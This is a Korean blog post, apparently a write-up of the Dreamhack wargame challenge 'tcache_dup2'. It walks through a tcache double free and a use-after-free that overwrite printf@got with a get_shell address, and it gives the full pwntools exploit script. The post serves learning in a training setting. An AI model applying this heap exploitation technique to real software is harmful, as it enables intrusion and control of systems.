상세 컨텐츠

본문 제목

[Dreamhack] tcache_dup2

SYSTEM HACKING/Dreamhack

by koharin 2020. 8. 29. 02:41

본문

728x90
반응형

ubuntu 19에서 사용하는 glibc 버전이니 리모트는 ubuntu 19에서 다시 해볼 것


1. Double free

 

tcache entry와 첫번째 청크 fd에 첫 번째 청크 주소가 적힌다.

 

2. fd를 got로 바꾼다. (UAF)

 

 

got에 system이 있어서 혹시나 해서 .rodata 영역을 확인했는데 get_shell 함수가 있었다.. (아니다. 그냥 확인해도 get_shell 함수가 있다.)

printf@got에 할당받을 때 데이터로 get_shell을 주면, printf 시 쉘이 실행될 수 있다.

 

3. Create

이때는 tcache에 적힌 첫 번째 free 청크 영역에 재할당된다.

tcache에는 fd에 적힌 printf@got가 등록된다.

 

4. Create

 

fd에 적혔던  printf@got 영역에 할당된다.

해당 libc 버전의 경우, 할당 시 사이즈를 체크하지 않아 청크의 사이즈를 구성하지 않아도 된다.

printf@got에 get_shell 주소가 적힌 것을 확인할 수 있다.

 

5. get shell


exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = remote("host1.dreamhack.games", 8510)
#p = process("./tcache_dup2")
elf = ELF("./tcache_dup2")
get_shell = elf.symbols['get_shell']

def Create(size, data):
    p.sendlineafter("> ", '1')
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", str(data))

def Modify(idx, size, data):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", str(data))

def Delete(idx):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(idx))


Create(0x10, 'A'*8)
Create(0x10, 'A'*8)

Delete(0)
Delete(0)

Modify(0, 0x10, p64(elf.got['printf']))
Create(0x10, 'B'*8)
Create(0x10, p64(elf.symbols['get_shell']))

#gdb.attach(p)

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] master_canary  (0) 2022.01.05
[Dreamhack] welcome  (0) 2021.02.09
[Dreamhack] basic_heap_overflow  (0) 2020.07.08
[Dreamhack] memory_leakage  (0) 2020.07.08
[Dreamhack] House of Force  (0) 2020.06.13

관련글 더보기